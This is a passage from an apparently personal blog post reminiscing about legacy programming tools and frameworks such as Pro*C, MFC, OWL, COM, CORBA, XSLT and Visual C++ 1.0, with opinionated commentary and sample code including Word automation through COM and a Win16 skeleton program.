C/C++&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This compiler started its life as "Waterloo C" for the IBM System 370. It  became the best C/C++ compiler for the Intel platform...but then was eventualy  eclipsed by Microsoft Visual C++. Microsoft never made the best compilers...they  just made the compilers that won.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.oreillynet.com/pub/a/databases/2006/12/07/embedded-sql-with-pro-c.html"&gt;Oracle  Pro*C/C++&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was a strange but useful C/C++ pre-compiler made by Oracle.  You would  put these SQL commands right into your C source code, and then the Oracle  pre-compiler would convert them into the complicated Oracle native C calls to  execute those statements.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;&lt;br /&gt;EXEC SQL &lt;br /&gt;SELECT &lt;br /&gt;  C_GROUP_CASE_ID, &lt;br /&gt;  N_SEQ_BOOK, &lt;br /&gt;  N_SEQ_SRVC, &lt;br /&gt;  C_PLN_TYPE, &lt;br /&gt;  C_PLN_SEQ_NO &lt;br /&gt;INTO &lt;br /&gt;  :SLT272_C_GROUP_CASE_ID, &lt;br /&gt;  :SLT272_N_SEQ_BOOK, &lt;br /&gt;  :SLT272_N_SEQ_SRVC, &lt;br /&gt;  :SLT272_C_PLN_TYPE, &lt;br /&gt;  :SLT272_C_PLN_SEQ_NO &lt;br /&gt;FROM SLY272_BOOK_SRVC &lt;br /&gt;WHERE &lt;br /&gt;  C_GROUP_CASE_ID = :SLT272_C_GROUP_CASE_ID &lt;br /&gt;AND N_SEQ_BOOK      = :SLT272_N_SEQ_BOOK &lt;br /&gt;AND N_SEQ_SRVC      = :SLT272_N_SEQ_SRVC &lt;br /&gt;AND C_PLN_TYPE      = :SLT272_C_PLN_TYPE &lt;br /&gt;AND C_PLN_SEQ_NO    = :SLT272_C_PLN_SEQ_NO; &lt;br /&gt;switch (SQLCODE) &lt;br /&gt;{ &lt;br /&gt;case SQL_SUCCESS: &lt;br /&gt;pBookletService-&amp;gt;SetC_Return(SQL_SUCCESS); &lt;br /&gt;break; &lt;br /&gt; &lt;br /&gt;case SQL_ROW_NOT_FOUND: &lt;br /&gt;pBookletService-&amp;gt;SetC_Return(SQL_ROW_NOT_FOUND); &lt;br /&gt;return SQL_SUCCESS; &lt;br /&gt;break; &lt;br /&gt; &lt;br /&gt;default: &lt;br /&gt;LogDBError(&amp;quot;Select_Sly272BookSrvc&amp;quot;, &lt;br /&gt;        &amp;quot;Select&amp;quot;, &lt;br /&gt;        CString(NumToString(SLT272_C_GROUP_CASE_ID)  + &amp;quot; / &amp;quot; + &lt;br /&gt;                NumToString(SLT272_N_SEQ_BOOK)  + &amp;quot; / &amp;quot; + &lt;br /&gt;                NumToString(SLT272_N_SEQ_SRVC)  + &amp;quot; / &amp;quot; + &lt;br /&gt;                SLT272_C_PLN_TYPE  + &amp;quot; / &amp;quot; + &lt;br /&gt;                NumToString(SLT272_C_PLN_SEQ_NO) ), &lt;br /&gt;        SQLCODE); &lt;br /&gt; &lt;br /&gt;return (SQLCODE); &lt;br /&gt;} &lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Microsoft_Foundation_Class_Library"&gt;MFC&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Microsoft Foundation Classes.  The best thing I can say about the MFC is  that it was usable...with some practice.  They were reasonably stable, and they  worked well with Visual C++ which had become the defacto standard too for  Windows GUI Development in C++.  They did not sufficiently abstract the inner  workings of Windows, and they tended to force you into one way (The Microsoft  Way) of doing everything.   If the Windows API is a sewer, then MFC is a  wetsuit, but what I really wanted was a boat. &lt;pre&gt;  &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;///////////////////////////////////////////////////////////////////////////// &lt;br /&gt;// CDwdev2App initialization &lt;br /&gt; &lt;br /&gt;BOOL CDwdev2App::InitInstance() &lt;br /&gt;{ &lt;br /&gt;// Initialize OLE libraries &lt;br /&gt;if (!AfxOleInit()) &lt;br /&gt;{ &lt;br /&gt;AfxMessageBox(IDP_OLE_INIT_FAILED); &lt;br /&gt;return FALSE; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;AfxEnableControlContainer(); &lt;br /&gt; &lt;br /&gt;// Standard initialization &lt;br /&gt;// If you are not using these features and wish to reduce the size &lt;br /&gt;//  of your final executable, you should remove from the following &lt;br /&gt;//  the specific initialization routines you do not need. &lt;br /&gt; &lt;br /&gt;#ifdef _AFXDLL &lt;br /&gt;Enable3dControls();   // Call this when using MFC in a shared DLL &lt;br /&gt;#else &lt;br /&gt;Enable3dControlsStatic(); // Call this when linking to MFC statically &lt;br /&gt;#endif &lt;br /&gt; &lt;br /&gt;// Change the registry key under which our settings are stored. &lt;br /&gt;// TODO: You should modify this string to be something appropriate &lt;br /&gt;// such as the name of your company or organization. &lt;br /&gt;SetRegistryKey(_T(&amp;quot;Local AppWizard-Generated Applications&amp;quot;)); &lt;br /&gt; &lt;br /&gt;LoadStdProfileSettings();  // Load standard INI file options (including MRU) &lt;br /&gt; &lt;br /&gt;// Register the application's document templates.  Document templates &lt;br /&gt;//  serve as the connection between documents, frame windows and views. &lt;br /&gt; &lt;br /&gt;CSingleDocTemplate* pDocTemplate; &lt;br /&gt;pDocTemplate = new CSingleDocTemplate( &lt;br /&gt;IDR_MAINFRAME, &lt;br /&gt;RUNTIME_CLASS(CDwdev2Doc), &lt;br /&gt;RUNTIME_CLASS(CMainFrame),       // main SDI frame window &lt;br /&gt;RUNTIME_CLASS(CDwdev2View)); &lt;br /&gt;pDocTemplate-&amp;gt;SetContainerInfo(IDR_CNTR_INPLACE); &lt;br /&gt;AddDocTemplate(pDocTemplate); &lt;br /&gt; &lt;br /&gt;// Parse command line for standard shell commands, DDE, file open &lt;br /&gt;CCommandLineInfo cmdInfo; &lt;br /&gt;ParseCommandLine(cmdInfo); &lt;br /&gt; &lt;br /&gt;// Dispatch commands specified on the command line &lt;br /&gt;if (!ProcessShellCommand(cmdInfo)) &lt;br /&gt;return FALSE; &lt;br /&gt; &lt;br /&gt;// The one and only window has been initialized, so show and update it. &lt;br /&gt;m_pMainWnd-&amp;gt;ShowWindow(SW_SHOW); &lt;br /&gt;m_pMainWnd-&amp;gt;UpdateWindow(); &lt;br /&gt; &lt;br /&gt;return TRUE; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/GNU_Compiler_Collection"&gt;gcc&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The Gnu Compiler Collection.  This is the defacto way I compile C and C++  programs on those occasions when I still write them for Linux.  The gcc also has  compilers for Java, Ada, Fortran and many other languages.  But the vast  majority of Linux projects (by far) just use the C and C++ compilers.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Object_Windows_Library"&gt;Turbo C&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Turbo C was my platform of choice for all of the early 90's.  C was becoming  a mainstream language, and the PC was becoming a serious development platform.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Object_Windows_Library"&gt;OWL&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A toolkit for developing Windows applications. It actually (after a few  iterations) became better than MFC. But that didn't matter. Microsoft makes the  platform, so Microsoft has the edge. MFC won out, and OWL died.  &lt;/dd&gt;&lt;dd&gt;&lt;pre&gt; &lt;br /&gt;#include &amp;lt;condefs.h&amp;gt; &lt;br /&gt; &lt;br /&gt;int OwlMain(int , char*  []) &lt;br /&gt;{ &lt;br /&gt;return TApplication(&amp;quot;Hello World!&amp;quot;).Run(); &lt;br /&gt;} &lt;br /&gt;#define WinMain &lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Component_object_model"&gt;COM&lt;/a&gt;/ &lt;a href="http://en.wikipedia.org/wiki/Distributed_Component_Object_Model"&gt;DCOM&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;"Can't Oppose Monopolies" and "Definitely Can't Oppose Monopolies". This was  Microsoft's binary object model, designed to allow you to use components from  multiple languages...but NOT multiple platforms.&lt;br /&gt;&lt;br /&gt;The philosophy of a component model is driven largely by the vendor(s) behind it.  I have a metaphor for each:&lt;br /&gt;&lt;br /&gt;1) Microsoft: You are locked in  a cage.  You are constantly being told that you are free because you are allowed  to do anything you want, and use any programming language you want....INSIDE  your cage.  Oh, and your cage is 90ft off the ground, so even if you insist on  escaping from your cage, you will pay a high price.&lt;br /&gt;&lt;br /&gt;2) Sun: You are  in a hamster ball.  You can leave your cage and roll anywhere you want, but you  must interact with the world through the hamster ball.&lt;br /&gt;&lt;br /&gt;3) Oracle: You  are in a hamster Habitrail cage.  You can go anywhere you want as long as you are  willing to buy and build out the expensive Oracle tubing to get there.  Oracle  also makes a lot of expensive pre-fab modules that can connect to each other  with this tubing.&lt;br /&gt;&lt;br /&gt;4) IBM: You are a Hamster in a suit.  You look  ridiculous.  You don't care about component models because they don't pay you to  care.  &lt;br /&gt;&lt;br/&gt;&lt;br /&gt;Here is a little source code from a "simple" COM project where i'm trying to  remote-control Microsoft Word.  &lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;void CSlwView2App::InitializeWord()  &lt;br /&gt;{  &lt;br /&gt;USES_CONVERSION;  &lt;br /&gt;  &lt;br /&gt;LPUNKNOWN pUnk;  &lt;br /&gt;LPDISPATCH lpDispatch;  &lt;br /&gt;CLSID clsid;  &lt;br /&gt;  &lt;br /&gt;Word97::Documents oDocuments;  &lt;br /&gt;  &lt;br /&gt;//Declare some commonly used Ole Variants.  &lt;br /&gt;COleVariant covTrue((short)TRUE);  &lt;br /&gt;COleVariant covFalse((short)FALSE);  &lt;br /&gt;COleVariant covOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR);  &lt;br /&gt;  &lt;br /&gt;/*-------------------------------------------------------------------------  &lt;br /&gt;- Find the GUID (CLSID) of the Word Application on the users system.  &lt;br /&gt;- This will enable us to use COM to launch the application.  &lt;br /&gt;---------------------------------------------------------------------------*/  &lt;br /&gt;::CLSIDFromProgID(T2OLE(&amp;quot;Word.Application&amp;quot;), &amp;amp;clsid);  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;- Let's see if Word is already running.  If it is, we'll use the running  &lt;br /&gt;- instance of Word.  Otherwise, we'll launch a new instance of word.  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;if (::GetActiveObject(clsid, NULL, &amp;amp;pUnk) == S_OK)  &lt;br /&gt;{  &lt;br /&gt;/*------------------------------------------------------------------------  &lt;br /&gt;- Oh good.  Word is already running, and we have a COM pointer to it  &lt;br /&gt;- stored in &amp;quot;pUnk&amp;quot;.  So let's use COM's QueryInterface  &lt;br /&gt;- to request a handle to its Dispatch Interface.  &lt;br /&gt;------------------------------------------------------------------------*/  &lt;br /&gt;VERIFY(pUnk-&amp;gt;QueryInterface(IID_IDispatch,  &lt;br /&gt;                      (void**) &amp;amp;lpDispatch) == S_OK);  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;- Now, we attach our local Word Dispatch object to the Dispatch of the  &lt;br /&gt;- running instance of Word.  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;m_oApp.AttachDispatch(lpDispatch);  &lt;br /&gt;/*------------------------------------------------------------------------  &lt;br /&gt;- We no longer need the pUnk COM pointer, so we Release it.  &lt;br /&gt;------------------------------------------------------------------------*/  &lt;br /&gt;pUnk-&amp;gt;Release();  &lt;br /&gt;TRACE(&amp;quot;I was able to attach to an existing Word instance\n&amp;quot;);  &lt;br /&gt;}  &lt;br /&gt;else  &lt;br /&gt;{  &lt;br /&gt;/*----------------------------------------------------------------------  &lt;br /&gt;- Oh.  Word is NOT running.  So we just launch it using the Ole function  &lt;br /&gt;- CreateDispatch.  This will make m_oApp into a Dispatch Interface we  &lt;br /&gt;- can use to talk to Word.  &lt;br /&gt;-----------------------------------------------------------------------*/  &lt;br /&gt;if (!m_oApp.CreateDispatch(&amp;quot;Word.Application&amp;quot;))  &lt;br /&gt;{  &lt;br /&gt;AfxMessageBox(&amp;quot;Unable to launch Microsoft Word.  Make sure Microsoft Word is installed on this machine.&amp;quot;);  &lt;br /&gt;return;  &lt;br /&gt;}  &lt;br /&gt;TRACE(&amp;quot;I had to create a new Word instance\n&amp;quot;);  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;- Now we use the Application Dispatch to get a handle to the Documents  &lt;br /&gt;- Dispatch.  Any running instance of Word has about 200 Dispatch Interfaces  &lt;br /&gt;- that you can use.  They are all outlined in msword8.h.  They include  &lt;br /&gt;- Interfaces like &amp;quot;Application&amp;quot;, &amp;quot;Documents&amp;quot;, &amp;quot;Bookmarks&amp;quot;, &amp;quot;Paragraphs&amp;quot;, etc  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;oDocuments.AttachDispatch(m_oApp.GetDocuments());  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;- Open the Output Document.  m_oDoc is a &amp;quot;Document&amp;quot; object.  And we open  &lt;br /&gt;- it within oDocuments which is a &amp;quot;Documents&amp;quot; (with an s) object.  The  &lt;br /&gt;- &amp;quot;Documents&amp;quot; object contains &amp;quot;Document&amp;quot; objects.  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;m_oDoc.AttachDispatch(oDocuments.Open(  &lt;br /&gt;           COleVariant(m_sFileName, VT_BSTR),  &lt;br /&gt;           covFalse,    // Confirm Conversion.  &lt;br /&gt;           covFalse,    // ReadOnly.  &lt;br /&gt;           covTrue,     // AddToRecentFiles.  &lt;br /&gt;           covOptional, // PasswordDocument.  &lt;br /&gt;           covOptional, // PasswordTemplate.  &lt;br /&gt;           covFalse,    // Revert.  &lt;br /&gt;           covOptional, // WritePasswordDocument.  &lt;br /&gt;           covOptional, // WritePasswordTemplate.  &lt;br /&gt;           covOptional) // Format.  &lt;br /&gt;           );  &lt;br /&gt;  &lt;br /&gt;///////////////////////////////////////////////  &lt;br /&gt;// Set Document Properties  &lt;br /&gt;///////////////////////////////////////////////  &lt;br /&gt;m_oApp.SetVisible(TRUE);  //This shows the application.  &lt;br /&gt;  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;- Some of these functions have bad FSHA (Focus Stealing .... ....) behaviors.  &lt;br /&gt;- So we have to re-ShowProgress after each function.  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;m_pStatusPrompt-&amp;gt;ShowProgress(&amp;quot;Initializing Word...&amp;quot;, IDI_INIT);  &lt;br /&gt;  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;Set any Custom Document Properties for this document.  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;SetDocumentProperties(APP_NAME, m_sMode);  &lt;br /&gt;SetDocumentProperties(REQUEST_ID_PROPERTY, m_sRequestId);  &lt;br /&gt;m_pStatusPrompt-&amp;gt;ShowProgress(&amp;quot;Initializing Word...&amp;quot;, IDI_INIT);  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;Push the Document-Specific macro to Word.  (The Document_Close macro)  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;  &lt;br /&gt;//KLUDGE.  If we are in browse mode, we can't reference the  &lt;br /&gt;//SlwView2 object because it won't be there.  And if we Reference  &lt;br /&gt;//and object that's not there, VB will complain, even though we will  &lt;br /&gt;//never execute that line of code.  &lt;br /&gt;if (m_sMode == BROWSE)  &lt;br /&gt;{  &lt;br /&gt;m_sSlwView2Document.Replace(&amp;quot;SlwView2.&amp;quot;, &amp;quot;'SlwView2.&amp;quot;);  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;PushDocumentMacro();  &lt;br /&gt;  &lt;br /&gt;m_pStatusPrompt-&amp;gt;ShowProgress(&amp;quot;Initializing Word...&amp;quot;, IDI_INIT);  &lt;br /&gt;  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;- If BROWSE mode.  Then we are done, and we can exit the application.  &lt;br /&gt;- (Not exit Word, just exit SlwView2.)  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;if (m_sMode == BROWSE)  &lt;br /&gt;{  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;- We've made document changes be adding the macros.  So we need to set  &lt;br /&gt;- the document status to &amp;quot;Saved&amp;quot; so Word doesn't think the USER has  &lt;br /&gt;- made these changes.  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;m_oDoc.SetSaved(TRUE);  &lt;br /&gt;return;  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;Push Normal.Dot macros (modules) to Word  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;PushModuleMacros();  &lt;br /&gt;  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;Calling SetCustomizationContext(m_oDoc) tells word that any customizations  &lt;br /&gt;we make from THIS point forward apply only to the Document, not the Word  &lt;br /&gt;Frame.  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;m_oApp.SetCustomizationContext(m_oDoc);  &lt;br /&gt;  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;Create Custom Toolbar  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;LoadCustomToolbar();  &lt;br /&gt;  &lt;br /&gt;/*--------------------------------------------------------------------------  &lt;br /&gt;Make Word think that no changes have been made to the document.  &lt;br /&gt;--------------------------------------------------------------------------*/  &lt;br /&gt;m_oDoc.SetSaved(TRUE);  &lt;br /&gt;  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Corba"&gt;CORBA&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;We built the baseball field, but no one came.  :)  CORBA was a platform  neutral (and language neutral) component technology.  But Microsoft opposed it  in favor of COM and DCOM.  Being platform neutral is no good if the biggest  platform (Microsoft) won't use it.   That's how powerful Microsoft is: They can  destroy neutrality from the receiving end.  Microsoft has always had the George  W. Bush stance of "Either you are with us, or you are against us.".  So, any  attempt to be neutral is viewed by Microsoft as hostile action.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/X-Windows"&gt;X-Windows&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I don't have any of my X-Windows code from my first job, because we threw  the whole project away. I was on a project to implement X-Windows functionality  for Ada. The Federal Government had passed a law saying that Ada was now their  standard programming language. All new systems had to be written in Ada. Well,  this was a real pain for anyone who was developing X-Windows applications for  the Government, because C was the best (really only) language for X-Windows  development. We had an Ada compiler for SCO Unix, so we started a project to  write tons of Ada hooks into X-Windows libraries. By the time we completed the  project, the Government relaxed their restrictions to allow for C and C++.  So...we threw the project away.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://store.syndicomm.com/index.php?main_page=product_info&amp;amp;products_id=62"&gt;Orca  C for //gs&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;For some reason, C compilers were always awkward and slow to take off on the  Apple ][ platform. Apple ][ programmers used mostly Assembly or Pascal. Orca/C  was the first major C IDE for developing full GUI application for the Apple  ][gs. But by the time it was released, most C coders had already abandoned the  Apple ][ platform for Turbo/C on the PC.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/ZBasic"&gt;ZBasic&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Surprisingly ahead of its time in many ways. It was a cross-platform  language that allowed your application to run the same platform...even if they  had graphics. This is pretty much what Java became years later.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Smalltalk"&gt;Smalltalk&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A pure object-oriented language. It is well-designed, consistent, and  powerful. However, it just never caught on. The practical uses of a programming  language always out-weigh the purity of the language syntax. And so Smalltalk  was passed over for C++, Java, C#, and Visual Basic. Visual Basic is a classic  example of a HORRIBLE programming language that succeeded because of its  practical applications for 2nd-tier developers.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.irt.org/software/sw011/index.htm"&gt;Microsoft Visual  Interdev&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;In 1996, Microsoft said "Hey, this World Wide Web thing is getting  popular!", and so they created an HTML editor and stapled Visual Basic on it. At  the time, this was a pretty cool tool...if you were already married to Microsoft  technologies.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Visual_J_plus_plus"&gt;Microsoft Visual  J++&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/J_Sharp"&gt;Microsoft Visual J#&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Aside from being two ridiculous languages, these are a prime example of the  power and danger of Microsoft. I was a C++ developer transitioning to Java when  Microsoft released J++. Those of us who had been developers through the 90's had  watched Microsoft squash one tool after another, and we knew Java would be next.  It was impossible to compete with Microsoft if they could tie a technology to  Windows, and J++ was tied to Windows. Java developers adopted J++ in droves,  regardless of all arguments that J++ violated the core platform-neutral  philosophy of Java. At one point, over 50% of Java developers used Visual J++.  Then a miracle happened: A court stopped Microsoft from absorbing Java...and  here is the key moral of the story: Microsoft was stopped because Java was a  proprietary technology that Sun had control over. If Java had been an open  source and/or open standards technology, Microsoft would have won and Java (as  we know it) would have died. Sun is making Java Open Source...but my hope is  that Java is now too big to be easily absorbed by Microsoft.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Java_%28programming_language%29"&gt;Java  &lt;/a&gt; &lt;/dt&gt;&lt;dd&gt;I'm leaving all the various Java technologies off my list...because I'm  still using Java today, and I can't "look back" on a technology that I'm  actively using.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Html"&gt;HTML&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;By 1995, HTML had become all the rage.  Almost every techie I know rushed off to create their own page...but almost nobody maintained them for very long.  Here is a screen shot from the home page of my very first website  that I registered under the name "planetbert.com" in 1995. I was learning HTML  and this brand-new programming language called "Java" at the time. (click image  for larger view) &lt;a href="http://3.bp.blogspot.com/_RKccMqogNXc/SU2qzUNGmCI/AAAAAAAAAE4/SIFfruV2wKA/s1600-h/homepage.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5282065736549177378" style="margin: 0px auto 10px; display: block; width: 400px; cursor: pointer; height: 353px; text-align: center;" alt="" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU2qzUNGmCI/AAAAAAAAAE4/SIFfruV2wKA/s400/homepage.jpg" border="0" /&gt; &lt;/a&gt;Like everyone else, I kept it up-to-date for a few months, and then updated it maybe once every 6 months, and then abandoned it completely. Adding the  text "Welcome Fortis Folks" was the last change I made. In 1995 through 1997, it  seemed to me that Java Applet technologies would take over the world. This was  the technology that was finally going to allow for rich-client web applications.  But then Microsoft started to sabotage their Java support in I.E., and that was  the death of Applets...probably forever. Ten years later, we are still trying to  find ways to make browser technologies that are as powerful as Applets were in  1995. AJAX is a start, but it has a long way to go.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Xml"&gt;XML&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Most people who are programmers are natural organizers...the kinds of people  who enjoy putting boxes inside of boxes. If you give them a universal box  description language (XML) they will (and did) try to use it for EV-ER-Y-THING!  It became a major disaster for the development community, and now XML is finally  being kicked out of application control and put back in data expression where it  belongs. I am a rare programmer in that I'm not a natural organizer. I liked XML  as a platform-neutral means of transmitting data...and that's all. I hated all  subsequent uses of XML, and 6 years later I was finally vindicated. :)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Html"&gt;XSLT&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The concept of a platform-neutral data transformation language is a  *brilliant* idea, and very much needed! The implementation of that language in a  pure XML syntax was a BAD idea. Making a programming language out of XML is like  making a spoon out of a cat. It's crazy. The fact that XSLT is still used is a  reflection of how desparate we are for spoons. We need data transformation  technologies...but why-oh-why did it have to be like THIS?! I appreciate the  attempt to make it like a functional programming language...but they failed  miserably. Instead we have a pseudo-functional language with lots of procedural  constructs...implemented in a declarative fashion. OW!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/JetForm"&gt;JetForm&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was a software package for developing printable forms. What I remember  most about JetForms was I had to translate one of my forms into German for our  new office in Germany. All I had was a German dictionary and my two semesters of  German in High School. I thought I would give it a rough translation and let the  German office polish it.  What I produced became legend in our German office. I  was told my translation was pretty close to technically correct, but I used  words in combinations that were just bizarre and hilarious. I guess I created  the German equivalent of &lt;a href="http://en.wikipedia.org/wiki/All_your_base"&gt;All your base are belong to  us&lt;/a&gt;.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Visual_C%2B%2B"&gt;Microsoft Visual C++  1.0&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;&lt;br /&gt;This was the very old-school way of writing Windows Applications before  the MFC came along. &lt;pre&gt;   &lt;br /&gt;&lt;br /&gt;/****************************************************************************  &lt;br /&gt;  &lt;br /&gt;    PROGRAM: TestUtil.c  &lt;br /&gt;  &lt;br /&gt;    AUTHOR:  Bert Pappas  26 JAN 94  &lt;br /&gt;  &lt;br /&gt;    PURPOSE: Simple skeleton Windows application to test the functions  &lt;br /&gt;             in FILEUTIL.DLL  &lt;br /&gt;  &lt;br /&gt;    FUNCTIONS:  &lt;br /&gt;  &lt;br /&gt;    WinMain() - calls initialization function, processes message loop  &lt;br /&gt;    InitApplication() - initializes window data and registers window  &lt;br /&gt;    InitInstance() - saves instance handle and creates main window  &lt;br /&gt;    MainWndProc() - processes messages  &lt;br /&gt;      &lt;br /&gt;    COMMENTS:  &lt;br /&gt;  &lt;br /&gt;        The functions tested in FILEUTIL.DLL are CopyFile and   &lt;br /&gt;        RenameFile.  &lt;br /&gt;****************************************************************************/  &lt;br /&gt;  &lt;br /&gt;#include &amp;lt;windows.h&amp;gt;            /* required for all Windows applications */  &lt;br /&gt;#include &amp;lt;string.h&amp;gt;  &lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;                             &lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;  &lt;br /&gt;        &lt;br /&gt;int PASCAL WinMain(HANDLE, HANDLE, LPSTR, int);  &lt;br /&gt;BOOL InitApplication(HANDLE);  &lt;br /&gt;BOOL InitInstance(HANDLE, int);  &lt;br /&gt;long CALLBACK __export MainWndProc(HWND, UINT, WPARAM, LPARAM);  &lt;br /&gt;  &lt;br /&gt;/* Declare DLL functions to be tested.*/  &lt;br /&gt;  &lt;br /&gt;int FAR PASCAL CopyFile(LPSTR,LPSTR,int);  &lt;br /&gt;int FAR PASCAL RenameFile(LPSTR,LPSTR,int);  &lt;br /&gt;  &lt;br /&gt;/* Button handles */  &lt;br /&gt;  &lt;br /&gt;#define ID_RENAME   3  &lt;br /&gt;#define ID_COPY     4  &lt;br /&gt;#define ID_EXIT     5  &lt;br /&gt;  &lt;br /&gt;/*Window and control handles */  &lt;br /&gt;  &lt;br /&gt;HANDLE hInst;               /* current instance              */  &lt;br /&gt;HWND hFromFile;  &lt;br /&gt;HWND hToFile;  &lt;br /&gt;HWND hMode;  &lt;br /&gt;HWND hRename;  &lt;br /&gt;HWND hCopy;  &lt;br /&gt;HWND hExit;         &lt;br /&gt;HWND MainWindow;  &lt;br /&gt;  &lt;br /&gt;/****************************************************************************  &lt;br /&gt;  &lt;br /&gt;    FUNCTION: WinMain(HANDLE, HANDLE, LPSTR, int)  &lt;br /&gt;  &lt;br /&gt;    PURPOSE: calls initialization function, processes message loop  &lt;br /&gt;  &lt;br /&gt;    COMMENTS:  &lt;br /&gt;  &lt;br /&gt;        Windows recognizes this function by name as the initial entry point  &lt;br /&gt;        for the program.  This function calls the application initialization  &lt;br /&gt;        routine, if no other instance of the program is running, and always  &lt;br /&gt;        calls the instance initialization routine.  It then executes a message  &lt;br /&gt;        retrieval and dispatch loop that is the top-level control structure  &lt;br /&gt;        for the remainder of execution.  The loop is terminated when a WM_QUIT  &lt;br /&gt;        message is received, at which time this function exits the application  &lt;br /&gt;        instance by returning the value passed by PostQuitMessage().  &lt;br /&gt;  &lt;br /&gt;        If this function must abort before entering the message loop, it  &lt;br /&gt;        returns the conventional value NULL.  &lt;br /&gt;  &lt;br /&gt;****************************************************************************/  &lt;br /&gt;  &lt;br /&gt;int PASCAL WinMain(hInstance, hPrevInstance, lpCmdLine, nCmdShow)  &lt;br /&gt;HANDLE hInstance;                /* current instance         */  &lt;br /&gt;HANDLE hPrevInstance;            /* previous instance        */  &lt;br /&gt;LPSTR lpCmdLine;                 /* command line             */  &lt;br /&gt;int nCmdShow;                    /* show-window type (open/icon) */  &lt;br /&gt;{  &lt;br /&gt;    MSG msg;                     /* message              */  &lt;br /&gt;  &lt;br /&gt;    if (!hPrevInstance)          /* Other instances of app running? */  &lt;br /&gt;    if (!InitApplication(hInstance)) /* Initialize shared 